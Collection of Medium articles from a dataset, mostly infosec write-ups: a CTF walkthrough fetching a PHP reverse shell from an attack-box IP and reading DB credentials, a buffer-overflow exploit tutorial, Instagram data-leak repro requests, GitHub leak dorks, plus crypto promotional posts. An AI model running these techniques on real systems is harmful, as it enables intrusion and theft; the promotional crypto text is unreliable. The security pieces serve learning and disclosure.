fabiochiu/medium-articles huggingface dataset:
Data Security and IAM to Optimize your IT Security
Tags: It, Infosec, Information Technology, Data Security, Cybersecurity

Data Security and IAM to Optimize your IT Security Sennovate Follow Jul 15 · 2 min read

Yes, it is important and critical to safeguard your IT security. Business assets reside in the form of data and are rendered vulnerable in the event of a breach. Data breaches are happening just like that, and organizations are rendered helpless.

Recently UniCredit, the bank and financial services organization revealed that the data breach had close to 3 million records that were exposed, revealing the names, telephone numbers, email addresses, and cities where clients were registered.

Such breaches are said to have an impact over social media, rather than any real serious banking transaction, however, it is paramount that a breach had occurred. It is interesting to note, that the UniCredit had made substantial investments in upgrading their IT security systems, yet the breach took place.

In Risk-Based Security research, 2019 Midyear QuickView Data Breach Report, states the first six months of 2019, had seen more than 3,800 publicly disclosed breaches exposing 4.1 billion compromised records.

Legacy of breaches

It is important to read along, that similar breaches occurred in July 2017 reason was data theft due to third party provider accessing data without authorization, and in the latter part of 2016 as well.

Then why breaches?

Shockingly, such breaches are not happening to poor budgets or lack of security awareness. It can be identified as:

Lack of proper security training

Un-authorized access to systems /services

Exposure of sensitive data

Insider actions — both malicious and accidental

In such contexts, one cannot blame the solution provider, it is the organization that must ensure such breaches do not occur, bring more security process during selecting a vendor and decide on what type and at what level information can be accessed. Greater hours of security training programs must be pushed for.

To know more and learn about IAM,

Have questions about finding an Identity and Access Management consultant?

Call +1 (925) 918–6618 the consultation is free.

About Sennovate

Sennovate delivers custom identity and access management solutions to businesses around the world. With global partners and a library of 1000+ integrations, we implement world-class cybersecurity solutions that save your company time and money. We offer a seamless experience with integration across all cloud applications, and a single price for product, implementation, and support. Have questions? The consultation is always free. Email hello@sennovate.com or call us at: +1 (925) 918–6618
The Anatomy of a Pentest Finding
Tags: Infosec, Pentest, Report Writing, Vulnerability, Penetration Testing

Pitfalls

Document your findings as you go!

The best time to capture the information required for a finding report is right when you find it! Some testers prefer to wait until post-engagement to fully document and flesh out their findings, but failing to document when it’s “fresh” can lead to the loss of information (because you forgot!) or loss of screenshots, recreation steps, or proof (because you don’t have access to the environment anymore or they changed something!). When it comes to documenting your findings, THERE’S NO TIME LIKE THE PRESENT.

Shoehorning

Hey, I’ll let you in on a little secret — IT’S OK TO SUBMIT A REPORT WITH ZERO FINDINGS. While you may think you “failed” or are providing an inferior product, you’re actually demonstrating the product is secure! So in that vein, don’t report a finding just because you think you don’t have enough. Informational findings, for example, are a tricky thing. It’s totally ok to tell the customer something you want them to know in other places in the report or outside of the reporting process itself, but if you can’t directly relate it to the security of the product, it’s NOT A FINDING. Don’t try to shoehorn a quasi-related thought into a finding just for the sake of having a finding.

Proofreading

Check your work before submitting to the customer or peer review! Review grammar, punctuation, and clarity. Doing it right the first time means less time in the review phase where people are wasting their time on something that should have been done right the first time.

Templatizing & Reuse

While it’s totally ok (and recommended) to reuse write ups of previous findings (or from findings databases like https://vulners.com), you should always make sure the information is directly applicable to this particular finding. Don’t just cut and paste word for word. Take the time to analyze a specific finding and provide your input. You have this job because you’re a trusted expert in the field. Additionally, you should avoid templatizing each part of your finding. (But it’s ok to templatize the entire finding by section.) For example, it’s not ok for all of your findings to read:

On — SITE–, a — TYPE — vulnerability was discovered. Recommend remediating this vulnerability in accordance with — Reference–

If your finding looks like it could be auto generated by a simple script, then what’s the point of having real humans do the work? The reason we’re here is to think. Analyze. Convince.
Brute Forcing Admin Passwords with UAC
By: Mark Mo
Tags: Infosec, Security, Bypass, Microsoft, Information Security

Brute Forcing Admin Passwords with UAC

This is for educational purposes only. If you don’t own it, don’t pwn it.

While doing some research, I found a way to brute force AD user passwords who are administrators on a machine using UAC. This only works for Administrators on the machine you are testing on and only with UAC. I’m never sure if someone has already identified this issue as I’m still pretty new to security.

First, find the admins on the machine. The only interesting ones are going to be domain members who likely have access on other machines/systems as well. Obviously you would want to use LAPS and limit the admins on a machine but this is a demo and I live dangerously in my LAB. 😊

For this demo I’m going to try to guess the password of the “REBELADMIN\HelpDesk” account. I’ll intentionally enter a bad password 3 times and the account will get locked out. You can see this is a domain account I’m guessing the password for.

If I try this again, I’ll see a message that says, “The referenced account is locked and may not be logged into” LIES !!! 😊

We see the referenced account is currently locked out. From a command line, if I type the real password, I still get the locked-out message and an attacker doing this, would not know if they entered the correct password. From the command line this is properly protected. By the way, that is the real password.

I can see the account is locked out.

I’ll run the command from the GUI.

I’ll Enter the real password.

You can guess as many times as you want. However, when you enter a real password, it lets you through. This allows an attacker to brute force the admin users password. It launched the command as my rebeladmin\helpdesk administrator.

One thing I find interesting is even if you enter hundreds of password attempts, the bad password count and last bad password attempt don’t change. That seems wrong to me.

The utility of this is limited because I must manually type in the password attempts. Also, it is noisy, and it locks out the user I am are trying to guess a password for. Still, it allows me to guess other users passwords and is another option. I submitted this as a bug to Microsoft and they said it was not a security weakness. I still think it should be fixed. I want to spend some time on this to see if I can automate the process but my research time is limited to weekends. It seems weird that UAC (a security control) allows me to keep guessing a user’s password that is stopped by other authentication methods.

Feel free to follow me on twitter @_markmo_ (yes, with the underscores). I share what I learn.
An approach to detect DDoS attack with A.I.
By: Victor Basu
Tags: Infosec, Data Science, Deep Learning, Cybersecurity, Machine Learning

Abstract

The DDoS attack is one of the most powerful hacking techniques over the internet. The base weapon that the hacker uses during these types of attacks is network trafficking to take down or crash websites. There are various subcategories of this attack, each category defines the way a hacker tries to intrude into the network. In this research, we have discussed an approach to detect the DDoS attack threat through A.I. model with over 96% accuracy. We have classified 7 different subcategories of DDoS threat along with a safe or healthy network.

Introduction

Distributed denial-of-service(DDoS) attacks target websites and online services. The objective of this attack is to jam the network or server with overwhelming traffic. It achieves effectiveness by utilizing multiple compromised systems as sources of attack traffic. There are different subcategories of DDoS attack based on the layer of the network connection they attempt to attack, with respect to the OSI model. Some of the subcategories that we classified through our research are SYN Flood, UDP Flood, MSSQL, LDAP, Portmap, NetBIOS.

Machine Learning and Deep Learning are one of the most common backbones of A.I. till day. We use these methodologies to solve problems in various domains with accuracy close to human performance. Once again we have tested the limits of A.I. in detecting threats in the domain of cybersecurity through this research. In this research, we did a thorough analysis of the logs generated during a DDOS attack, used supervised and unsupervised techniques for detection of threat, and finally used deep learning to achieve over 96% accuracy for classification of different types of DDoS threats along with the safe connection.

Data Pre-Processing

Processing the data was one of the first challenges faced by us. The data had 88 attributes or features. Processing such huge data within limited RAM memory was a really challenging task for us. So we downgraded the data type of the attributes, and hence reducing the memory usage of the data frame. Data-types of float64 are downgraded to float32, int64 to int32, int32 to uint32 and so on. We successfully reduced almost 42% of the initial size. Our data frame still had attributes or features with the maximum value close to infinite, so we also handled those data in the pre-processing stage.

Distribution of Target Features

Image by Victor Basu plotted with Matplotlib

As it could be seen that we have tried to maintain even distribution of the target feature along with the data-set.

Even though UDPLag is a bit unevenly distributed with respect to others, but we have still handled this case later in this research.

Exploratory data analysis
WriteUp — THM Ignite. This is a writeup for TryHackMe room…
By: Jari Laurila
Tags: Infosec, Thm Writeup

A new start-up has a few issues with their web server.

This is a writeup for TryHackMe Ignite room.

Start with nmap:



Starting Nmap 7.80 (

Nmap scan report for 10.10.67.163

Host is up (0.055s latency).

Not shown: 65534 closed ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

| http-robots.txt: 1 disallowed entry

|_/fuel/

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: Welcome to FUEL CMS nmap -sC -sV -p- 10.10.67.163Starting Nmap 7.80 ( https://nmap.org ) at 2020–10–13 10:47 EESTNmap scan report for 10.10.67.163Host is up (0.055s latency).Not shown: 65534 closed portsPORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.18 ((Ubuntu))|_/fuel/|_http-server-header: Apache/2.4.18 (Ubuntu)|_http-title:

Let’s take a look at robots.txt:

User-agent: *

Disallow: /fuel/

Let’s take a look at that directory. It reveals a login screen to the CMS.

Quick web search finds a vulnerability in the version 1.4: https://www.exploit-db.com/exploits/47138 and we seem to have the exploit already available:

searchsploit fuel cms



Fuel CMS 1.4.7 — ‘col’ SQL Injection (Authenticated) | php/webapps/48741.txt

Fuel CMS 1.4.8 — ‘fuel_replace_id’ SQL Injection (Authenticated) | php/webapps/48778.txt

fuelCMS 1.4.1 — Remote Code Execution | linux/webapps/47138.py

Let’s take a look at the vulnerability CVE-2018–16763. to figure out how it works. Need to modify the script a bit to support Python3, got some environment issues with Python2.

Ok, lets grab a remote shell from https://github.com/pentestmonkey/php-reverse-shell . Modify to point to my attack box. Serve it with Python -m SimpleHTTPServer and upload it to the box using the Python program cmds:



php php-reverse-shell.php wget http://10.8.108.247:8000/php-reverse-shell.php php php-reverse-shell.php

And we are in. Upgrade the shell to proper terminal using

python -c 'import pty; pty.spawn("/bin/bash")'

grab the user flag from /home/www.data:

cat flag.txt

__REDACTED__

Browse around the file system. Grab mysql credentials from Fuel CMS configs:

$db[‘default’] = array(

‘dsn’ => ‘’,

‘hostname’ => ‘localhost’,

‘username’ => ‘root’,

‘password’ => ‘__REDACTED__’,

‘database’ => ‘fuel_schema’,

‘dbdriver’ => ‘mysqli’,

‘dbprefix’ => ‘’,

‘pconnect’ => FALSE,

‘db_debug’ => (ENVIRONMENT !== ‘production’),

‘cache_on’ => FALSE,

‘cachedir’ => ‘’,

‘char_set’ => ‘utf8’,

‘dbcollat’ => ‘utf8_general_ci’,

‘swap_pre’ => ‘’,

‘encrypt’ => FALSE,

‘compress’ => FALSE,

‘stricton’ => FALSE,

‘failover’ => array(),

‘save_queries’ => TRUE

);

This can’t possibly be the root password. Or can it?
How I Scored 2K Bounty via an IDOR
Tags: Infosec, Security, Infosecurity, Bug Bounty, Hackerone

How I Scored 2K Bounty via an IDOR

Photo by Benjamin Dada on Unsplash

Hello Security Researchers

In this writeup I will talk how I was able to find an IDOR in one of the largest Russian Company nothing other than Mail.ru

So approaching targets with huge scope can be frustrating sometimes since you don’t know where to start

For me I started looking in the main scope of Mail.ru Games

I fired up Burp Created an account Adding things in my cart Viewing the blog Creating a support ticket

Before testing anything the ticket link looked kind of suspicious since it had /ticket/INTEGER

and the full URL looked like something like this

Let’s breakdown what can go wrong here

We have few parameters project_id user_id sign and the ticket number

First thing I did is to remove the sign which is the signature and see if I can access it from an unauthenticated browser

This looks easy no way that works right ?!!

Photo by visuals on Unsplash

Well you’re wrong it worked and I was able to see my ticket and the conversation with the agent and also any attached file, I could also speak in the conversation as anonymous user :)

Further testing showed that changing the ticket number can allow viewing others ticket and changing the user_id can allow viewing other ticket of that matched ID

went and wrapped up a good report with my friend , and it was triaged within minutes an paid after few days

Takeaways

Don’t be afraid of diving the Main app it’s where all the juicy things exist

Never underestimate yourself from finding bugs everyone has a unique view for the target

Don’t be discouraged if you didn’t find a bug today tomorrow you will

I hope you enjoyed reading this and I will catch you in the next one

Stay curious ❤
What Do Banks and Cybersecurity Have in Common? Everything.
Tags: Cybersecurity, Banking, Infosec, Financial Services

New cyber-security threats require new solutions. New solutions require a project to implement them. The problems and solutions seem infinite while budgets remain bounded. Therefore, the challenge becomes how to identify the priority threats, select the solutions that deliver the best ROI and stretch dollars to maximize your organization’s protection. Consultants and industry analysts can help, but they too can be costly options that don’t always provide the correct advice.

So how best to simplify the decision-making process? Use an analogy. Consider that every cybersecurity solution has a counterpart in the physical world. To illustrate this point, consider the security measures at banks. They make a perfect analogy, because banks are just like applications or computing environments; both contain valuables that criminals are eager to steal.

The first line of defense at a bank is the front door, which is designed to allow people to enter and leave while providing a first layer of defense against thieves. Network firewalls fulfill the same role within the realm of cyber security. They allow specific types of traffic to enter an organization’s network but block mischievous visitors from entering. While firewalls are an effective first line of defense, they’re not impervious. Just like surreptitious robbers such as Billy the Kid or John Dillinger, SSL/TLS-based encrypted attacks or nefarious malware can sneak through this digital “front door” via a standard port.

Read more: http://bit.ly/2Dmo4Xs
Windows Exploit Development: A simple buffer overflow example
By: Alan Vivona
Tags: Hacking, Infosec, Exploit, Cybersecurity, Windows

We are effectively making the application crash and overriding EIP with 0x41414141 (‘AAAA’). We are sure we hit a buffer overflow and now we need to measure the buffer’s length in order to override EIP with whatever value we want. We should try overriding ESP and EIP with known values.

2nd round

We can try using smaller chunks of bytes to improve our precision. Using chunks of 500 bytes long we get ESP pointing to 0x0012EEAC which is filled with 43’s (C’s).

Here we can see ESP points to 0x0012EEAC and the 43’s (C’s) start 4 addressed before ESP.

So, we have to provide 500 ‘A’s, 500 ‘B’s and 16 ‘C’s in order to reach ESP.

3rd round

We change the block size to 1016 bytes to match our calculations and we successfully hit esp as expected.

We placed 1016 ‘A’s, then 1016 ‘B’s starting at ESP, then 1016 ‘C’s.

Now we need to know how big the stack is. We can use a De Bruijn pattern to measure this using radare2’s ragg2 utility

ragg2 -P 2000 -r

4th Round

Our new exploit.js includes a De Bruijn sequence and looks like this:

const blockSize = 1012 let buf = '' buf += 'A'.repeat(blockSize)

buf += 'D'.repeat(4) // overrides EIP const r2pipe = require('r2pipe')

r2pipe.open("/bin/true",function (err, r2) {

if (err) {

console.error(err)

} else {

r2.syscmd(`ragg2 -P ${blockSize} -r`, function(err, o) {

if (err) {

console.error(err)

} else {

buf += o

r2.quit()

process.stdout.write(buf)

}

})

}

})

Let’s try it out!

great! EIP = 0x44444444 == ‘DDDD’

Our ‘A’s chunk starts at 0x12EAb4 and EIP is at 0x12EEA8. Using radare2 we can calculate the difference between the addresses. A third way of knowing the stack length would be providing a Bruijn pattern directly and then getting the offset of EIP’s value after the crash.

ragg2 -P 2000 -r > sample.m3u

# this generates a pattern 2000 bytes long

After loading this sample.m3u EIP’s value is 0x41684641 which is at offset 1012 as we would expect:

Then, we could calculate where the start of the stack was by subtracting this value to EIP’s content address, which is 0x12EAB4 (again, as expected)

In this environment, we can’t place an address from the stack straight into EIP because stack addresses start with 0x00 which is a null character that will prevent the rest of the file to be loaded. We need to jump into the portion of the stack containing our payload using an indirect method. We’ll find an address containing the “jmp esp” instruction and override EIP with it.

Finding the address is easy with Immunity debugger :
ekoparty 2019 review
By: Mariela Blanco
Tags: Ekoparty, Infosec, English, Faraday

Fifteen years ago it was only us, our friends and a giant desire to create a community. We wanted to share that which inspired and challenged us, learning with others in a context that represented us. We couldn’t find this space at first, so we went ahead and tried to create it ourselves.

Today, in 2019, we are writing this blog to tell you about the 15th edition of said place 😱

We knew that this edition was important so we set out to support and share the particular spirit behind this year’s theme, “The 90s”.

To achieve this, our team designed a space that brought together our favorite things from that era: we set up a gaming room with everything you need to travel through time and share with friends the games that were part of your stories; a comfortable and relaxed space with different options to challenge you and, at the same time, have fun: Welcome to Faraday’s Arcades and Flippers world 🎮🌎

You could play alone, you could play with others (team spirit 💪) or you could also go the extra mile and get the necessary points to win one of our newly designed t-shirts.

We change, but we keep what we like most:

For the second consecutive year, we enjoyed the presence of Charly from Café Z in our booth, a joyous moment for every coffee lover (like us!). Freshly brewed coffee made with patience, artistry and care.

Aligned with Ekoparty’s CTF, we created our own challenge where, in addition to participating for personalized prizes (1st — Nintendo Switch / 2nd — Amazon Kindle / 3rd — Arduino Set), you could get points for the #eko15 CTF.

Our technical team shared a workshop about Implementing a Vulnerability Management lifecycle — thank you all for participating!

And as our project is growing and our team too, we participated in Ekodating where, along with many other sponsors, we generated a meeting point to interview those who feel like joining us (we appreciate your time so much).

We have traveled a long way from the first ekoparty to this current edition; we made mistakes, we stopped to review things, we changed and as a result, we learned. But we never ever ever stopped being surprised by the enormous support we receive: You don’t just come to ekoparty, you are the ekoparty.

Today, fifteen years later, we understand that sometimes the future is better and bigger than we were encouraged to imagine.

Thank you for being #eko15 with us! See you next year!

https://www.faradaysec.com

https://github.com/infobyte/faraday

https://twitter.com/faradaysec

https://www.instagram.com/faradaysec/

https://forum.faradaysec.com/

https://www.faradaysec.com/ideas
My Experience For 2 Years In Bug Bounty Hunting
By: Ahmad Halabi
Tags: Hacking, Infosec, Bug Bounty, Writeup, Hacker

Brief Introduction ::

In February 2019 I heard about Bug Bounty Hunting, I was curious to enter this World and put my name in the Hall Of Fame of great companies like Facebook and Google, so I started looking for this topic on the internet.

My first valid bug was in Panda Security which awarded me a Certificate of Appreciation in Feb 2019. Then I found multiple valid bugs in 360 Security and found an RCE in Blackberry and I kept checking such kind of responsible disclosure programs until I mistakenly clicked on a link that browsed me to HackerOne website and then to BugCrowd.

In June 2019, I signed up on HackerOne website and my Bug Bounty Journey started. I remember that I got good amount of N/A reports and my points decreased to 67 as well as the signal became badly negative. It took me 3 months to recover my reputation and push my signal back to positive.

My dream was to find a vulnerability and put my name in the U.S. Department Of Defense Hall Of Fame, so I worked to achieve this goal and in the same year I was ranked 1st in their Hall Of Fame.

Also I achieved my old goal in the same year by adding my name to the Hall Of Fames of Facebook and Google.

2019 year was a learning stage for me, Thus I earned just two bounties from Facebook and Telegram.

In 2020 year, I struggled a lot during my learning curve, it was not easy to find the good resources and learn by myself. But in the end I created my own path and methodology and it worked fine for me.
My Methodology In Recon And Find Bugs & My Methodology In Hunting Using Phone
By: Orwa Atyat
Tags: Bugcrowd, Hacking, Infosec, Bug Bounty, Recon

B: My Methodology In Hunting Using Phone

i’m not bug hunter as Full time because i have another job in that job there’s no PC or Laptop 3 day in week without using computer

so i hunt in this 3 days from my Iphone

What we can do on phone and what we cant

and

how ?

what we can do

Recon simple , Checking for Github Leaks will show how , and all the Terminal jops will show haw

whet we cant do

use burp & view page source

for who don’t know

I started in this road using my phone

found bugs on GitHub test and check and report from my phone

When I got my second reward I bought a laptop

So it is my job to help those who can’t afford to buy a laptop right now

singup and login on phone browser on GitHub

download google cloud console app it’s available on Android and IOS and login in a Gmail account

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

for Github I specially monitor my Targets from my Phone

for example if you looking for 2 interesting domains for Facebook

fb.com

internalfb.com

steps to check and monitor

fb.com open github on browser

"fb.com" password ===> change the sort to Recently indexed ===> on browser Options Add to Home Screen

"fb.com" secret ===> change the sort to Recently indexed ===> on browser Options Add to Home Screen

"internalfb.com" password ===> change the sort to Recently indexed ===> on browser Options Add to Home Screen

I have about 50 ready dorks for my targets like these i check on them everyday with a morning coffee

its a good trick because you found leaks before anyone for some data leaked , 90% from my GitHub leaked data reports its for data leaked 1-9 hours ago

I guarantee in this tip no dupl reports for you

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

For Terminal you can do that from you phone and get the tools on google cloud console app

Sorry The videos are not good results with the required quality, but their purpose is to convey the information in a clearer way
This is how I was able to see Private, Archived Posts/Stories of users on Instagram without following them
By: Mayur Fartade
Tags: Infosec, Info Sec Writeups, Facebook, Bug Bounty, Instagram

This is how I was able to see Private, Archived Posts/Stories of users on Instagram without following them Mayur Fartade Follow Jun 15 · 3 min read

I am Mayur Fartade from Maharashtra. This is my first bug in the Facebook Bug bounty program.

Description

This bug could have allowed a malicious user to view targeted media on Instagram. An attacker could have been able to see details of private/archived posts, stories, reels, IGTV without following the user using Media ID.

Details include like/comment/save count, display_url, image.uri, Facebook linked page(if any) and other.

Impact

Data of users can be read improperly. An attacker could able to regenerate valid CDN URL of archived stories & posts. Also by brute-forcing Media ID’s, the attacker could able to store the details about specific media and later filter which are private and archived.

Repro steps

Steps:

Obtain target’s post/reel/IGTV/story media id (By brute-forcing or other technique) Send a POST request to https://i.instagram.com/api/v1/ads/graphql/

Parameters:

doc_id=[REDACTED]&query_params={“query_params”:{“access_token”:””,”id”:”[MEDIA_ID]”}} Where [MEDIA_ID] is the media_id of any post/reel/IGTV/story.

doc_id is redacted. In the response, display_url, save_count & other details of a particular media disclosed.

After few days, I found another endpoint with doc_id=[REDACTED] which discloses the same information. access_token was passed through the POST request so when I tries to access media’s of different accounts I got data:null in the response.

Steps:

1. Send a POST request to https://i.instagram.com/api/v1/ads/graphql/

Parameters:

access_token=[REDACTED]&variables={“query_params”:{“access_token”:””,”id”:”[MEDIA_ID]”},”fetch_actor_id”:false}&server_timestamps=true&doc_id=[REDACTED]

Where [MEDIA_ID] is the media_id of any post/reel/IGTV/story.

doc_id is redacted.

Other parameters are not included.

access_token is valid Facebook access token.

Response

2. Then I changed the access_token to null and I got access to the information.

Also same endpoint is disclosing Facebook Page linked to a Instagram account but Facebook page & Instagram account link is public. You can see here

https://www.facebook.com/ads/library/?active_status=all&ad_type=all&country=US&view_all_page_id=PAGE_ID&search_type=page

Where PAGE_ID is the Facebook page ID.

Parameters:

access_token=null&variables={“query_params”:{“access_token”:””,”id”:”[MEDIA_ID]”},”fetch_actor_id”:false}&server_timestamps=true&doc_id=[REDACTED]

Response:

Fix

Instagram has changed the above endpoints.

Timeline

16 April 2021 : Report sent

19 April 2021 : Reply from Facebook Security Team — Need more info

19 April 2021 : Information Sent

22 April 2021 : Report Triaged

23 April 2021 : Found another endpoint disclosing the same info

29 April 2021 : Fixed

29 April 2021 : Vulnerability not completely patched. Sent the information to FB Security Team

…. some messages exchanged …

15 June 2021: Awarded $30000 bounty.
Notification: BCHA airdrop as a result of Bitcoin Cash hard fork
By: D Cent Wallet
Tags: Bitcoincash, Airdrop, English, Dcent Wallet

On November 15, 2020, the Bitcoin Cash (BCH) hard fork has been completed.

From the hard fork process, the BCHN node received high support and thus inherited the BCH symbol, and the BCHABC node became a new coin, BCHA. As a result, customers who’ve held BCH in the D’CENT wallet prior to the hard fork will receive Bitcoin Cash ABC (BCHA) as airdrop.

How to check airdropped BCHA asset

D’CENT team will be releasing a new wallet update which will support creation of BCHA wallet account.

✅How to check the BCHA asset:

1. Update your D’CENT mobile app to the latest version.

Android App (v4.2.4)

iPhone App (v4.3.1)

2. Update the firmware on Biometric wallet to the latest version (v2.4.3).

For detailed instruction on how to update the firmware please click here.

3. Add a BCHA account in the D’CENT mobile app.

Bitcoin Cash and Bitcoin Cash network stability issues

(As of November 20, 2020)

Sending and Receiving is restricted due to the unstable BCH and BCHA blockchain networks. We are constantly checking the stability of the BCH and BCHA blockchain networks, we will be lifting the Sending and Receiving restriction when the network stability has been confirmed.
Sir Marco Robinson Review | Bogdan Leonov (DeHedge)
By: Alessa Candreva
Tags: Bitcoin News, Marketing Strategies, Bitcoin Wallet, Bitcoincash, Bitcoin Mining

In this review, Bogdan Leonov owner of the “DeHedge) shares some his expert opinion on ICOs.

In this short BUT powerful Sir Marco Robinson review today.

I’m sharing my advice about ICOs, especially since the emergence of Bitcoin. Every investment in the world carries a risk, there’s no escaping that fact.

So if you’re thinking of making a potentially life-changing/money-making decision, listen to my recommendation first.

This video is definitely short but you can really learn a lot about the emergence of Bitcoin.

Marco Robinson — Wealth Creation Expert, #1 Best Selling Author, Award Winning Entrepreneur and Multi Million Dollar Property Investor shares his insider circle secrets to achieving his trend setting Financial Freedom Lifestyle.

Connect with Marco Robinson on Social Media : YouTube : http://www.youtube.com/MarcoRobinsonA... Google + : http://gplus.to/MarcoRobinson Facebook : http://www.facebook.com/MarcoRobinson... Amazon.com : http://www.amazon.com/author/marcorob...

#MarcoRobinson #Review #BogdanLeonov
BCH & BCHA network separation guide.
By: D Cent Wallet
Tags: Bitcoin Cash, English, Dcent Wallet, Bitcoin Cash Abc

In order to use Bitcoin Cash (BCH) and Bitcoin Cash ABC (BCHA), network separation must be done first. After completing the network separation for these hard forked coins, you can then normally use the transfer function.

How do you perform the network separation?

Network separation must be done in 2 phases.

Phase1: Send a small amount of BCH and BCHA assets to D’CENT Wallet

Using another wallet(ie: exchange wallet), transfer a small amount of BCH and BCHA asset to your D’CENT Wallet. Wait until BCH and BCHA assets have arrived in your D’CENT Wallet.

Phase2: Perform network separation from D’CENT Wallet

The network separation process is done automatically if you press the [Send] button on your BCH or BCHA account. The process requires self-sending cryptocurrency to its own address for the network separation. There is a small network fee incurred due to self-transfer, and also note that the network separation may not be completed on the first attempt.

1) Press Send on either BCH or BCHA account.

2) You will see this screen if your BCH and BCHA networks are not separated yet. Press Proceed to continue.

3) Check the BCH and BCHA Fee involved in these transactions. Note that the number of transactions required to sign may vary based on your account state.

4) Number of transactions to sign, completion may take longer depending on the blockchain network conditions.

5) Sign all the requested transactions.

6) Press OK to complete the network separation. Wait until the self-sent transactions are completed.

NOTE: You may need to perform the Network separation again if the networks did not get separated on the first attempt.
Huobi DM To Launch Bitcoin Cash (BCH) Contracts on April 12
By: Huobi Futures
Tags: Huobiglobal, Bitcoincash, Huobidm, Bitcoin, Cryptocurrency

Huobi DM To Launch Bitcoin Cash (BCH) Contracts on April 12

SINGAPORE, April 11, 2019

SINGAPORE, April 11, 2019 /PRNewswire/ — Users will soon have even more flexibility and choices on Huobi Derivative Market (Huobi DM). Bitcoin Cash (BCH) service will go live tomorrow on the crypto asset contract platform and two more coins are scheduled to be launched before the end of May.

Huobi DM

Inclusion on Huobi DM means traders will be able to take both long and short positions on BCH, allowing for arbitrage, speculation, and hedging. Since 2017, Bitcoin Cash’s value has fluctuated between $75.08 and $4,355.62.

In addition to BCH, Huobi DM offers weekly, bi-weekly, and quarterly cryptocurrency contracts for Bitcoin (BTC), Ethereum (ETH), EOS (EOS), Litecoin (LTC), and, as of last month, Ripple (XRP). Since its launch in late 2018, Huobi DM has grown rapidly, recently exceeding USD$92 billion in cumulative trading volume.

Features of Huobi DM:

Competitive fee structure for BCH: 0.02% to open or close for makers and 0.03% to open or close for takers.

Superior risk management: including Price Limit, Order Limit, and Position Limit.

Superior risk control: with the sophisticated price limit mechanism, no claw back has occurred since its launch.

Real-time risk supervision: Huobi constantly monitor contract prices, index prices, abnormal transactions, and positions.

Newly raised open position limits for all crypto contracts to up to twice their previous level and order limits to more than double their previous level.

User protections: To cover the societal losses attributed to unfilled liquidated orders/settle incidents in contract trading, Huobi also has a dedicated Risk Management Insurance Fund for each trading pair.

Disclaimers: Digital assets are innovative trading products, and prices fluctuate greatly. Please rationally judge your trading ability and make decisions prudently. Please note that users must clear the requisite KYC checks and assessments prior to commencing usage of Huobi DM. Huobi DM is not available to users from the United States of America, Singapore, Israel, Iraq, Hong Kong (China), Cuba, Iran, North Korea, Sudan, Malaysia, Syria, Samoa Eastern, Puerto Rico, Guam, Bangladesh, Ecuador, and Kyrgyzstan.

For more information on Huobi DM, please visit www.hbdm.com

About Huobi:

Consisting of ten upstream and downstream enterprises, Huobi Group is the world’s leading blockchain company. Established in 2013, Huobi Group’s accumulative turnover exceeds US $1 trillion. It proudly provides safe, secure, and convenient cryptocurrency trading and asset management services to millions of users in 130+ countries.

For more info, please visit www.hbg.com

News source: MorningStar.com

Join

Website: www.hbdm.com

Twitter: https://twitter.com/HuobiDM

LinkedIn: https://www.linkedin.com/company/huobi-dm/

WeChat： dm19415 ，dm19178

QQ Group： 566109118

Telegram：https://t.me/huobidmofficial
Bitmain Antminer S17 Series, Buy or Not?
Tags: Antminer, Bitmain, Bitcoincash, Bitcoin, Mining

Bitmain launched its new product: Antminer S17 series on Apr 9th. All new products were sold out on their website in about 4 minutes. This new series includes Antminer S17 Pro and Antminer S17 with SHA-256 algorithm. Each comes with two models. Antminer S17 Pro-50TH/s ($2232) and 53TH/s($2366), Antminer S17–53TH/s($2043) and 56TH/s($2159). According to their official wechat account, the second batch were available on Apr 10th and sale began at 0 o’clock( UTC+8). Is the new product worth buying? Let’s work it out.

Key Specifications

Let’s first focus on the key specifications. All these models are equipped with 2nd-generation 7nm chips, greatly improving the power efficiency and hash rate. Antminer S17 Pro has 3 mining modes, low-power mode, normal mode, turbo mode, which allows miners to customize mining rigs for different mining needs. Power efficiency at turbo mode is 45J/TH, while normal mode, 39.5J/TH. The low-power mode operates 36J/TH.

Antminer S17 comes with 2 mining modes, low-power mode and normal mode. S17 has a power efficiency of 45J/TH at normal mode while 42J/TH at low-power mode.

Profitability Comparison

Below is a Mining profitability comparing chart. It’s calculated under the circumstance where electricity fee is 0.04 USD/kWh and BTC price is 5298 USD at the time of writing. All mining rigs run at normal mode and mining increase is 2%. We can see from the chart, Antminer S17–56T has the highest daily revenue and daily profit. In terms of payback days, S17–56T and S17–53T performs equally, better than S17 Pro-53T and S17 Pro-50T. In short, S17–56T is the most competitive model. Not to say that S17–56T is cheaper than S17 Pro-53T, which will relief the pressure if you need to purchase in large quantity.

After analyzing Antminer S17 series, a question prompted: How much has it improved in mining profitability, compared to the previous product Antminer S15–28TH/s? Let’s compare the best performer Antminer S17–56T, and Antminer S15–28TH/s. Profit is calculated base on the same circumstances as above. As for payback days, S17–56T needs 298days while S15–28T, 325, showing slight advantage. What’s impressive is that daily profit of S17 considerably doubles that of S15.

In conclusion, the low energy consumption ratio and advanced performance are the two main advantages of the Antminer 17 series miners. Compared to existing mining rigs, the new Antminer S17 series can greatly improve mining profit, making previous mining rigs less competitive. No wonder they were sold out in such short time.

Tips: If you are a miner with less competitive mining machines, you can refer to our former post, The Secret Way to Maximize Your Mining Profit.

· Find us on our Telegram

· Follow us on Twitter, Reddit, Facebook and YouTube

For more detailed information, you may visit our website: www.rockminer.com
How To Convert USD To Bitcoin
Tags: Bitcoincash, Btc, Online Business, Digital Currency

Exchange bitcoins in US dollars. Converting dollars into Bitcoin is easy. Particularly through transferring bitcoin to cash, where managing our business will make asset change simple and essential, providing you with an extraordinary set of mobile alternatives. You just have to follow the bit scale shown below: For this model, we chose the ‘payment card’ option to buy Bitcoin:

Stage 1: Go to buy Bitcoin with a credit or debit card

Stage 2: Enter the amount you want to spend to buy Bitcoin and make sure you select USD from the three money options

Step 3: Click on the Start Transaction button

Step 4: Enter your Bitcoin (BTC) wallet address. For more information on the best way to get a Bitcoin wallet, check out our article.

Step 5: Complete the verification course if prompted

Step 6: Click on the Continue button to pay

Step 7: You will be redirected to the payment processor page. Once there, complete your class.

Stage 8: Once your payment is received, you will legitimately have your Bitcoin in your Bitcoin wallet.

